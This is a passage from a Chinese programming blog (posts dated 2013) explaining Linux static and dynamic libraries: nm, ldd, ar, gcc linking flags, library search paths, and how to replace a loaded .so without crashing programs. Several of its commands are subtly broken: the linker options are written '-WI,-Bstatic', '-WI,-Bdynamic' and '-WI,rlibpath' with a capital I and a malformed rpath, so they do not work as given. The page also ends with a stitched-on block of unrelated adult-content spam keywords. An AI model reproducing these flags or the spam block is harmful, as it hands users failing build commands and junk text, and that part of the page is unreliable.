                可以看到 ln 命令依賴于 libc 庫(kù)和 ld-linux 庫(kù) 
             
            1.7、使用nm工具,查看靜態(tài)庫(kù)和動(dòng)態(tài)庫(kù)中有那些函數(shù)名(T類表示函數(shù)是當(dāng)前庫(kù)中定義的,U類表示函數(shù)是被調(diào)用的,在其它庫(kù)中定義的,W類是當(dāng)前庫(kù)中定義,被其它庫(kù)中的函數(shù)覆蓋)。
                有時(shí)候可能需要查看一個(gè)庫(kù)中到底有哪些函數(shù),nm工具可以打印出庫(kù)中的涉及到的所有符號(hào),這里的庫(kù)既可以是靜態(tài)的也可以是動(dòng)態(tài)的。

            nm列出的符號(hào)有很多, 常見(jiàn)的有三種::

            一種是在庫(kù)中被調(diào)用,但并沒(méi)有在庫(kù)中定義(表明需要其他庫(kù)支持),用U表示

            一種是在庫(kù)中定義的函數(shù),用T表示,這是最常見(jiàn)的

            另外一種是所 謂的“弱態(tài)”符號(hào),它們雖然在庫(kù)中被定義,但是可能被其他庫(kù)中的同名符號(hào)覆蓋,用W表示

            例如,假設(shè)開(kāi)發(fā)者希望知道上文提到的hello庫(kù)中是否引用了 printf():

                $nm libhello.so | grep printf 

            發(fā)現(xiàn)printf是U類符號(hào),說(shuō)明printf被引用,但是并沒(méi)有在庫(kù)中定義。

            由此可以推斷,要正常使用hello庫(kù),必須有其它庫(kù)支持,使用ldd工具查看hello依賴于哪些庫(kù):

            $ldd hello libc.so.6=>/lib/libc.so.6(0x400la000) /lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)

            從上面的結(jié)果可以繼續(xù)查看printf最終在哪里被定義,有興趣可以go on

            1.8、使用ar工具,可以生成靜態(tài)庫(kù),同時(shí)可以查看靜態(tài)庫(kù)中包含那些.o文件,即有那些源文件構(gòu)成

            可以使用 ar -t libname.a 來(lái)查看一個(gè)靜態(tài)庫(kù)由那些.o文件構(gòu)成。

            可以使用 ar q libname.a xxx1.o xxx2.o xxx3.o ... xxxn.o 生成靜態(tài)庫(kù)

             
            Linux下進(jìn)行程序設(shè)計(jì)時(shí),關(guān)于庫(kù)的使用:
             
            一、gcc/g++命令中關(guān)于庫(kù)的參數(shù):
            -shared: 該選項(xiàng)指定生成動(dòng)態(tài)連接庫(kù)(讓連接器生成T類型的導(dǎo)出符號(hào)表,有時(shí)候也生成弱連接W類型的導(dǎo)出符號(hào)),不用該標(biāo)志外部程序無(wú)法連接。相當(dāng)于一個(gè)可執(zhí)行文件
            -fPIC:表示編譯為位置獨(dú)立(地址無(wú)關(guān))的代碼,不用此選項(xiàng)的話,編譯后的代碼是位置相關(guān)的,所以動(dòng)態(tài)載入時(shí),是通過(guò)代碼拷貝的方式來(lái)滿足不同進(jìn)程的需要,而不能達(dá)到真正代碼段共享的目的。
            -L:指定鏈接庫(kù)的路徑,-L. 表示要連接的庫(kù)在當(dāng)前目錄中
            -ltest:指定鏈接庫(kù)的名稱為test,編譯器查找動(dòng)態(tài)連接庫(kù)時(shí)有隱含的命名規(guī)則,即在給出的名字前面加上lib,后面加上.so來(lái)確定庫(kù)的名稱
            LD_LIBRARY_PATH:這個(gè)環(huán)境變量指示動(dòng)態(tài)連接器可以裝載動(dòng)態(tài)庫(kù)的路徑
            當(dāng)然如果有root權(quán)限的話,可以修改/etc/ld.so.conf文件,然后調(diào)用 /sbin/ldconfig來(lái)達(dá)到同樣的目的,
               不過(guò)如果沒(méi)有root權(quán)限,那么只能采用修改LD_LIBRARY_PATH環(huán)境變量的方法了。 
            調(diào)用動(dòng)態(tài)庫(kù)的時(shí)候,有幾個(gè)問(wèn)題會(huì)經(jīng)常碰到:
                1、有時(shí),明明已經(jīng)將庫(kù)的頭文件所在目錄 通過(guò) “-I” include進(jìn)來(lái)了,庫(kù)所在文件通過(guò) “-L”參數(shù)引導(dǎo),并指定了“-l”的庫(kù)名,但通過(guò)ldd命令察看時(shí),就是死活找不到你指定鏈接的so文件,這時(shí)你要作的就是通過(guò)修改 LD_LIBRARY_PATH或者/etc/ld.so.conf文件來(lái)指定動(dòng)態(tài)庫(kù)的目錄。通常這樣做就可以解決庫(kù)無(wú)法鏈接的問(wèn)題了。
             
            二、靜態(tài)庫(kù)鏈接時(shí)搜索路徑的順序: 
            1. ld會(huì)去找gcc/g++命令中的參數(shù)-L;
            2. 再找gcc的環(huán)境變量LIBRARY_PATH,它指定程序靜態(tài)鏈接庫(kù)文件搜索路徑;
                  export LIBRARY_PATH=$LIBRARY_PATH:data/home/billchen/lib 
            3. 再找默認(rèn)庫(kù)目錄 /lib /usr/lib /usr/local/lib,這是當(dāng)初compile gcc時(shí)寫在程序內(nèi)的。
               
            三、動(dòng)態(tài)鏈接時(shí)、執(zhí)行時(shí)搜索路徑順序: 
            1. 編譯目標(biāo)代碼時(shí)指定的動(dòng)態(tài)庫(kù)搜索路徑;
                2. 環(huán)境變量LD_LIBRARY_PATH指定動(dòng)態(tài)庫(kù)搜索路徑,它指定程序動(dòng)態(tài)鏈接庫(kù)文件搜索路徑;
                  export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:data/home/billchen/lib 
            3. 配置文件/etc/ld.so.conf中指定的動(dòng)態(tài)庫(kù)搜索路徑;
            4. 默認(rèn)的動(dòng)態(tài)庫(kù)搜索路徑/lib;
            5. 默認(rèn)的動(dòng)態(tài)庫(kù)搜索路徑/usr/lib。
             
            四、靜態(tài)庫(kù)和動(dòng)態(tài)鏈接庫(kù)同時(shí)存在的問(wèn)題:
               當(dāng)一個(gè)庫(kù)同時(shí)存在靜態(tài)庫(kù)和動(dòng)態(tài)庫(kù)時(shí),比如libmysqlclient.a和libmysqlclient.so同時(shí)存在時(shí):
                在Linux下,動(dòng)態(tài)庫(kù)和靜態(tài)庫(kù)同事存在時(shí),gcc/g++的鏈接程序,默認(rèn)鏈接的動(dòng)態(tài)庫(kù)。

            可以使用下面的方法,給連接器傳遞參數(shù),看是否鏈接動(dòng)態(tài)庫(kù)還是靜態(tài)庫(kù)。

            -WI,-Bstatic -llibname //指定讓gcc/g++鏈接靜態(tài)庫(kù)

            使用:

            gcc/g++ test.c -o test -WI,-Bstatic -llibname

            -WI,-Bdynamic -llibname //指定讓gcc/g++鏈接動(dòng)態(tài)庫(kù)

            使用:

            gcc/g++ test.c -o test -WI,-Bdynamic -llibname

            如果要完全靜態(tài)加在,使用-static參數(shù),即將所有的庫(kù)以靜態(tài)的方式鏈入可執(zhí)行程序,這樣生成的可執(zhí)行程序,不再依賴任何庫(kù),同事出現(xiàn)的問(wèn)題是,這樣編譯出來(lái)的程序非常大,占用空間。

             
            五、有關(guān)環(huán)境變量: 
            LIBRARY_PATH環(huán)境變量:指定程序靜態(tài)鏈接庫(kù)文件搜索路徑
            LD_LIBRARY_PATH環(huán)境變量:指定程序動(dòng)態(tài)鏈接庫(kù)文件搜索路徑
             
            六、動(dòng)態(tài)庫(kù)升級(jí)問(wèn)題:
               在動(dòng)態(tài)鏈接庫(kù)升級(jí)時(shí),
            不能使用cp newlib.so oldlib.so,這樣有可能會(huì)使程序core掉;
            而應(yīng)該使用:
            rm oldlib.so 然后 cp newlib.so oldlib.so
            或者
            mv oldlib.so oldlib.so_bak 然后 cp newlib.so oldlib.so


            為什么不能用cp newlib.so oldlib.so ?

            在替換so文件時(shí),如果在不停程序的情況下,直接用 cp new.so old.so 的方式替換程序使用的動(dòng)態(tài)庫(kù)文件會(huì)導(dǎo)致正在運(yùn)行中的程序崩潰。

             

            解決方法:

            解決的辦法是采用“rm+cp” 或“mv+cp” 來(lái)替代直接“cp” 的操作方法。

            linux系統(tǒng)的動(dòng)態(tài)庫(kù)有兩種使用方法:運(yùn)行時(shí)動(dòng)態(tài)鏈接庫(kù),動(dòng)態(tài)加載庫(kù)并在程序控制之下使用。

             

            1、為什么在不停程序的情況下,直接用 cp 命令替換程序使用的 so 文件,會(huì)使程序崩潰?
            很多同學(xué)在工作中遇到過(guò)這樣一個(gè)問(wèn)題,在替換 so 文件時(shí),如果在不停程序的情況下,直接用cp new.so old.so的方式替換程序使用的動(dòng)態(tài)庫(kù)文件會(huì)導(dǎo)致正在運(yùn)行中的程序崩潰,退出。

            這與 cp 命令的實(shí)現(xiàn)有關(guān),cp 并不改變目標(biāo)文件的 inode,cp 的目標(biāo)文件會(huì)繼承被覆蓋文件的屬性而非源文件。實(shí)際上它是這樣實(shí)現(xiàn)的:
            strace cp libnew.so libold.so 2>&1 |grep open.*lib.*.so
            open("libnew.so", O_RDONLY|O_LARGEFILE) = 3
            open("libold.so", O_WRONLY|O_TRUNC|O_LARGEFILE) = 4
            在 cp 使用“O_WRONLY|O_TRUNC” 打開(kāi)目標(biāo)文件時(shí),原 so 文件的鏡像被意外的破壞了這樣動(dòng)態(tài)鏈接器 ld.so 不能訪問(wèn)到 so 文件中的函數(shù)入口。從而導(dǎo)致 Segmentation fault,程序崩潰。ld.so 加載 so 文件及“再定位”的機(jī)制比較復(fù)雜。

             

            2、怎樣在不停止程序的情況下替換so文件,并且保證程序不會(huì)崩潰?
            答案是采用“rm+cp” 或“mv+cp” 來(lái)替代直接“cp” 的操作方法。

            在用新的so文件 libnew.so 替換舊的so文件 libold.so 時(shí),如果采用如下方法:
            rm libold.so //如果內(nèi)核正在使用libold.so,那么inode節(jié)點(diǎn)不會(huì)立刻別刪除掉。
            cp libnew.so libold.so
            采用這種方法,目標(biāo)文件 libold.so 的 inode 其實(shí)已經(jīng)改變了,原來(lái)的 libold.so 文件雖然不能用 ”ls”查看到,但其 inode 并沒(méi)有被真正刪除,直到內(nèi)核釋放對(duì)它的引用。

            (即: rm libold.so,此時(shí),如果ld.so正在加在libold.so,內(nèi)核就在引用libold.so的inode節(jié)點(diǎn),rm libold.so的inode并沒(méi)有被真正刪除,當(dāng)ld.so對(duì)libold.so的引用結(jié)束,inode才會(huì)真正刪除。這樣程序就不會(huì)崩潰,因?yàn)樗€在使用舊的libold.so,當(dāng)下次再使用libold.so時(shí),已經(jīng)被替換,就會(huì)使用新的libold.so)

            同理,mv只是改變了文件名,其 inode 不變,新文件使用了新的 inode。這樣動(dòng)態(tài)鏈接器 ld.so 仍然使用原來(lái)文件的 inode 訪問(wèn)舊的 so 文件。因而程序依然能正常運(yùn)行。

            (即: mv libold.so ***后,如果程序使用動(dòng)態(tài)庫(kù),還是使用舊的inode節(jié)點(diǎn),當(dāng)下次再使用libold.so時(shí),就會(huì)使用新的libold.so)


            到這里,為什么直接使用“cp new_exec_file old_exec_file”這樣的命令時(shí),系統(tǒng)會(huì)禁止這樣的操作,并且給出這樣的提示“cp: cannot create regular file `old': Text file busy”。這時(shí),我們采用的辦法仍然是用“rm+cp”或者“mv+cp”來(lái)替代直接“cp”,這跟以上提到的so文件的替換有同樣的道理


            但是,為什么系統(tǒng)會(huì)阻止 cp 覆蓋可執(zhí)行程序,而不阻止覆蓋 so 文件呢

            這是因?yàn)?Linux 有個(gè) Demand Paging 機(jī)制,所謂“Demand Paging”,簡(jiǎn)單的說(shuō),就是系統(tǒng)為了節(jié)約物理內(nèi)存開(kāi)銷,并不會(huì)程序運(yùn)行時(shí)就將所有頁(yè)(page)都加載到內(nèi)存中,而只有在系統(tǒng)有訪問(wèn)需求時(shí)才將其加載。“Demand Paging”要求正在運(yùn)行中的程序鏡像注意,并非文件本身不被意外修改因此內(nèi)核在啟動(dòng)程序后會(huì)鎖定這個(gè)程序鏡像的 inode

            對(duì)于 so 文件,它是靠 ld.so 加載的,而ld.so畢竟也是用戶態(tài)程序,沒(méi)有權(quán)利去鎖定inode,也不應(yīng)與內(nèi)核的文件系統(tǒng)底層實(shí)現(xiàn)耦合

            posted @ 2013-01-04 16:38 tqsheng 閱讀(8228) | 評(píng)論 (0)編輯 收藏

            指定使用靜態(tài)庫(kù)

            Linux動(dòng)態(tài)鏈接庫(kù)的問(wèn)題_靜態(tài)庫(kù)、動(dòng)態(tài)鏈接庫(kù)同時(shí)存在時(shí),gcc/g++默認(rèn)用動(dòng)態(tài)庫(kù),參數(shù)-WI,-Bstatic指定使用靜態(tài)庫(kù),參數(shù)-WI,-Bdynamic指定使用動(dòng)態(tài)庫(kù)\編譯OK,運(yùn)行找不到的問(wèn)題_解決-WI,rlibpathname  

            2011-03-11 14:30:23|  分類: Linux系統(tǒng)編程|字號(hào) 訂閱

            1、在Linux下,動(dòng)態(tài)庫(kù)和靜態(tài)庫(kù)同事存在時(shí),gcc/g++的鏈接程序,默認(rèn)鏈接的動(dòng)態(tài)庫(kù)。

                             可以使用下面的方法,給連接器傳遞參數(shù),看是否鏈接動(dòng)態(tài)庫(kù)還是靜態(tài)庫(kù)。

                      

                            -WI,-Bstatic             -llibname                                   //指定讓gcc/g++鏈接靜態(tài)庫(kù)

            使用:

                            gcc/g++   test.c -o test      -WI,-Bstatic     -llibname

                     

                          -WI,-Bdynamic       -llibname                                    //指定讓gcc/g++鏈接動(dòng)態(tài)庫(kù)

            使用:

                           gcc/g++   test.c -o test    -WI,-Bdynamic        -llibname

             

                           如果要完全靜態(tài)加在,使用-static參數(shù),即將所有的庫(kù)以靜態(tài)的方式鏈入可執(zhí)行程序,這樣生成的可執(zhí)行程序,不再依賴任何庫(kù),同事出現(xiàn)的問(wèn)題是,這樣編譯出來(lái)的程序非常大,占用空間。

             

                     

             

            2、Linux下動(dòng)態(tài)庫(kù)為什么會(huì)出現(xiàn)編譯OK,運(yùn)行時(shí)找不到的情況。

                              原因是:

                                      linux下鏈接器默認(rèn)是不記錄庫(kù)的搜索路徑的,只記錄名字,所以才會(huì)有編譯時(shí)OK,但運(yùn)行時(shí),找不到的情況。

                            解決方法:

                                     想在程序中記錄路徑,可以使用-WI,-rlibpath指定動(dòng)態(tài)庫(kù)的搜索路徑。

                                     使用方法。

                                      gcc/g++    test.c   -o test   -WI,rlibpath   -llibname

             

            3、關(guān)于Linux下庫(kù)的更多問(wèn)題,可以參看:

                            自己的博客:   http://blog.163.com/xychenbaihu@yeah/blog/static/13222965520101023104745738/

                           http://xiaobin.net/200911/analytics-on-unix-static-and-dynamic-library/ 

            posted @ 2013-01-04 16:32 tqsheng 閱讀(4175) | 評(píng)論 (0)編輯 收藏

            僅列出標(biāo)題
            共25頁(yè): 1 2 3 4 5 6 7 8 9 Last 
            午夜精品久久久久| 狠狠色婷婷久久一区二区| 久久99久久99小草精品免视看| 久久综合亚洲欧美成人| 日韩精品久久久肉伦网站| 久久SE精品一区二区| 精品久久香蕉国产线看观看亚洲| 久久综合给合久久狠狠狠97色69| 99久久免费国产精品特黄| 久久精品国产亚洲AV无码娇色| 久久久久夜夜夜精品国产| 久久精品国产91久久综合麻豆自制| 国产精品青草久久久久福利99| 一级做a爰片久久毛片看看 | 久久精品国产男包| 欧美日韩精品久久免费| 国产一级做a爰片久久毛片| 久久无码中文字幕东京热| 久久99精品免费一区二区| 精品久久久久久无码专区不卡| 无码国内精品久久人妻麻豆按摩| 久久99久久99精品免视看动漫| 久久久免费观成人影院| 久久久久久久亚洲Av无码| 久久九九兔免费精品6| 亚洲国产精品久久久久婷婷软件 | 久久ww精品w免费人成| 91精品婷婷国产综合久久| 久久精品国产网红主播| 亚洲国产一成人久久精品| 亚洲伊人久久成综合人影院 | 久久久久亚洲AV无码麻豆| 国产99久久久久久免费看| 久久久久亚洲AV片无码下载蜜桃| 伊人久久大香线蕉av不卡| 精品久久人人妻人人做精品| 久久国产精品-久久精品| 久久99国产精品久久99果冻传媒| 国产精品久久久久AV福利动漫| 久久人妻无码中文字幕| 三级片免费观看久久|